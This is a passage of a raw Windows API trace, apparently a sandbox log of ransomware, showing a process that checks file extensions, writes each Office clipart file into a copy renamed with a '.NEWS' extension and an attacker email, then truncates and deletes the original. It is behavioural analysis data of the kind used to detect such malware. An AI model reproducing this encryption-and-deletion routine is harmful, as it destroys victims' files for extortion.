Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0086.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0086.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0086.433] lstrlenW (lpString=".doc") returned 4 [0086.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.433] lstrlenW (lpString=".docx") returned 5 [0086.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.433] lstrlenW (lpString=".pdf") returned 4 [0086.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.433] lstrlenW (lpString=".xls") returned 4 [0086.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.433] lstrlenW (lpString=".xlsx") returned 5 [0086.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.433] lstrlenW (lpString=".ppt") returned 4 [0086.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0086.433] lstrlenW (lpString=".zip") returned 4 [0086.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.433] lstrlenW (lpString=".rar") returned 4 [0086.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.433] lstrlenW (lpString=".bz2") returned 4 [0086.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.433] lstrlenW (lpString=".7z") returned 3 [0086.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0086.433] lstrlenW (lpString=".dbf") returned 4 [0086.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0086.433] lstrlenW (lpString=".1cd") returned 4 [0086.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0086.433] lstrlenW (lpString=".jpg") returned 4 [0086.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0086.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0086.434] lstrlenW (lpString=".doc") returned 4 [0086.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.434] lstrlenW (lpString=".docx") returned 5 [0086.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.434] lstrlenW (lpString=".pdf") returned 4 [0086.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.434] lstrlenW (lpString=".xls") returned 4 [0086.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.434] lstrlenW (lpString=".xlsx") returned 5 [0086.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.434] lstrlenW (lpString=".ppt") returned 4 [0086.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0086.434] lstrlenW (lpString=".zip") returned 4 [0086.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.434] lstrlenW (lpString=".rar") returned 4 [0086.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.434] lstrlenW (lpString=".bz2") returned 4 [0086.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.434] lstrlenW (lpString=".7z") returned 3 [0086.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0086.434] lstrlenW (lpString=".dbf") returned 4 [0086.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0086.434] lstrlenW (lpString=".1cd") returned 4 [0086.434] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0086.434] lstrlenW (lpString=".jpg") returned 4 [0086.434] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.434] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.434] lstrlenW (lpString="FD00419_.WMF") returned 12 [0086.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.435] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=16396) returned 1 [0086.435] CloseHandle (hObject=0x2c4) returned 1 [0086.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220 [0086.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.435] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.435] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.436] GetLastError () returned 0x0 [0086.436] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x400c, lpOverlapped=0x0) returned 1 [0086.437] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4010, lpOverlapped=0x0) returned 1 [0086.438] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.438] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.438] SetEndOfFile (hFile=0x344) returned 1 [0086.438] CloseHandle (hObject=0x344) returned 1 [0086.439] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.439] SetEndOfFile (hFile=0x2c4) returned 1 [0086.439] CloseHandle (hObject=0x2c4) returned 1 [0086.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0086.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0086.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0086.440] lstrlenW (lpString=".doc") returned 4 [0086.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.440] lstrlenW (lpString=".docx") returned 5 [0086.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.440] lstrlenW (lpString=".pdf") returned 4 [0086.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.440] lstrlenW (lpString=".xls") returned 4 [0086.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.440] lstrlenW (lpString=".xlsx") returned 5 [0086.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.440] lstrlenW (lpString=".ppt") returned 4 [0086.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0086.440] lstrlenW (lpString=".zip") returned 4 [0086.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.440] lstrlenW (lpString=".rar") returned 4 [0086.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.440] lstrlenW (lpString=".bz2") returned 4 [0086.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.440] lstrlenW (lpString=".7z") returned 3 [0086.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0086.441] lstrlenW (lpString=".dbf") returned 4 [0086.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0086.441] lstrlenW (lpString=".1cd") returned 4 [0086.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0086.441] lstrlenW (lpString=".jpg") returned 4 [0086.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0086.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0086.441] lstrlenW (lpString=".doc") returned 4 [0086.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.441] lstrlenW (lpString=".docx") returned 5 [0086.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.441] lstrlenW (lpString=".pdf") returned 4 [0086.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.441] lstrlenW (lpString=".xls") returned 4 [0086.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.441] lstrlenW (lpString=".xlsx") returned 5 [0086.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.441] lstrlenW (lpString=".ppt") returned 4 [0086.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0086.441] lstrlenW (lpString=".zip") returned 4 [0086.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.441] lstrlenW (lpString=".rar") returned 4 [0086.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.441] lstrlenW (lpString=".bz2") returned 4 [0086.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.441] lstrlenW (lpString=".7z") returned 3 [0086.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0086.441] lstrlenW (lpString=".dbf") returned 4 [0086.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0086.442] lstrlenW (lpString=".1cd") returned 4 [0086.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0086.442] lstrlenW (lpString=".jpg") returned 4 [0086.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.442] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.442] lstrlenW (lpString="FD00428_.WMF") returned 12 [0086.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.442] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4796) returned 1 [0086.443] CloseHandle (hObject=0x2c4) returned 1 [0086.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220 [0086.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.443] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.443] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.443] GetLastError () returned 0x0 [0086.443] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x12bc, lpOverlapped=0x0) returned 1 [0086.718] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0086.720] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.720] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.720] SetEndOfFile (hFile=0x344) returned 1 [0086.720] CloseHandle (hObject=0x344) returned 1 [0086.721] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.721] SetEndOfFile (hFile=0x2c4) returned 1 [0086.722] CloseHandle (hObject=0x2c4) returned 1 [0086.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0086.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0086.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0086.722] lstrlenW (lpString=".doc") returned 4 [0086.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.722] lstrlenW (lpString=".docx") returned 5 [0086.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.722] lstrlenW (lpString=".pdf") returned 4 [0086.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.722] lstrlenW (lpString=".xls") returned 4 [0086.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.722] lstrlenW (lpString=".xlsx") returned 5 [0086.722] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.723] lstrlenW (lpString=".ppt") returned 4 [0086.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0086.723] lstrlenW (lpString=".zip") returned 4 [0086.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.723] lstrlenW (lpString=".rar") returned 4 [0086.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.723] lstrlenW (lpString=".bz2") returned 4 [0086.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.723] lstrlenW (lpString=".7z") returned 3 [0086.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0086.723] lstrlenW (lpString=".dbf") returned 4 [0086.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0086.723] lstrlenW (lpString=".1cd") returned 4 [0086.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0086.723] lstrlenW (lpString=".jpg") returned 4 [0086.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0086.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0086.723] lstrlenW (lpString=".doc") returned 4 [0086.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.723] lstrlenW (lpString=".docx") returned 5 [0086.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.723] lstrlenW (lpString=".pdf") returned 4 [0086.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.723] lstrlenW (lpString=".xls") returned 4 [0086.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.723] lstrlenW (lpString=".xlsx") returned 5 [0086.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.724] lstrlenW (lpString=".ppt") returned 4 [0086.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0086.724] lstrlenW (lpString=".zip") returned 4 [0086.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.724] lstrlenW (lpString=".rar") returned 4 [0086.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.724] lstrlenW (lpString=".bz2") returned 4 [0086.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.724] lstrlenW (lpString=".7z") returned 3 [0086.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0086.724] lstrlenW (lpString=".dbf") returned 4 [0086.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0086.724] lstrlenW (lpString=".1cd") returned 4 [0086.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0086.724] lstrlenW (lpString=".jpg") returned 4 [0086.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.724] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.724] lstrlenW (lpString="FD01176_.WMF") returned 12 [0086.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.725] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=4984) returned 1 [0086.725] CloseHandle (hObject=0x2c4) returned 1 [0086.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220 [0086.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0086.725] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.725] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0086.726] GetLastError () returned 0x0 [0086.726] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1378, lpOverlapped=0x0) returned 1 [0086.727] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1380, lpOverlapped=0x0) returned 1 [0086.728] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.728] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.729] SetEndOfFile (hFile=0x344) returned 1 [0086.729] CloseHandle (hObject=0x344) returned 1 [0086.729] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.729] SetEndOfFile (hFile=0x2c4) returned 1 [0086.730] CloseHandle (hObject=0x2c4) returned 1 [0086.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0086.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0086.730] lstrlenW 